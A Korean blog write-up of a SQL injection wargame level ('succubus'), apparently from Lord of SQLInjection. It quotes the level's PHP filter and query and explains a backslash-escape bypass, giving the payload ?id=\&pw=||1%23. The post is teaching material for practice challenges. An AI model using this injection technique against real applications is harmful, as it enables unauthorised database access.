티스토리 뷰

728x90
반응형

if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/\'/',$_GET[id])) exit("HeHe");
if(preg_match('/\'/',$_GET[pw])) exit("HeHe");

id 와 pw 파라미터 모두 동일한 필터링이 걸려있는 것을 볼 수 있겠습니다. prob, _(언더바), .(온점), ()(괄호), '(작음따옴표) 모두 사용 불가합니다.

(이번에 깨달았는데 이전문제에서 \(\) 라고 되어 있던 것을 저는 (, ) 괄호 두 개 모두 안되는 것으로 착각했었던 것 같은데, 알고보니 () 괄호가 안되는 거였네요.. 헷갈릴 수 있겠습니다)

 

$query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if($result['id']) solve("succubus");

id 와 pw 파라미터에 값을 입력한 것을 query 문에 전달하고 그 결과 값으로 id 가 존재하는 id 이기만 한다면 경우 문제는 해결된다고 합니다.

 

이 문제의 핵심은 '(작은따옴표)를 쓰지 않고 query의 where 절을 탈출할 수 있어야 하는 것 같습니다. 따옴표 탈출하기 위해서 흔히 \(백슬래시)를 사용하는데, 안타깝게도 이 문제에서 \(백슬래시)를 필터링하지 않았기 때문에 저희는 필터링을 우회해서 문제를 풀 수 있는 것입니다.

 

select id from prob_succubus where id='\' and pw='#'

만약 위와 같은 query 문이 있다고 합시다. 그럼 색깔로도 구분이 되겠지만, id 값에 해당하는 부분이 \' and pw=' 까지 입니다. 이 원리를 이용해서 id 값에 \(백슬래시)를 입력하고, pw 값에 query 구문의 결과 값이 True(참) 값이 나오게만 해주면 문제를 풀 수 있습니다.

 

select id from prob_succubus where id='\' and pw='||1#'

id 에 \(백슬래시)를 넣어주고, pw 에 ||1# 만 넣어주었습니다. ||1 로 참을 만들어주고 뒤에 있는 '(작은따옴표)를 제거해주기 위해 주석(#) 문자를 넣어주었습니다.

 

?id=\&pw=||1%23

URL은 위와 같이 입력해줘야 합니다. # 는 URL 에서는 Hash Tag 역할을 하기 때문에 %23 으로 URL 인코딩해주는 것을 잊지맙시다.

 

그러면 아래와 같이 문제를 풀 수 있습니다.

728x90
반응형
댓글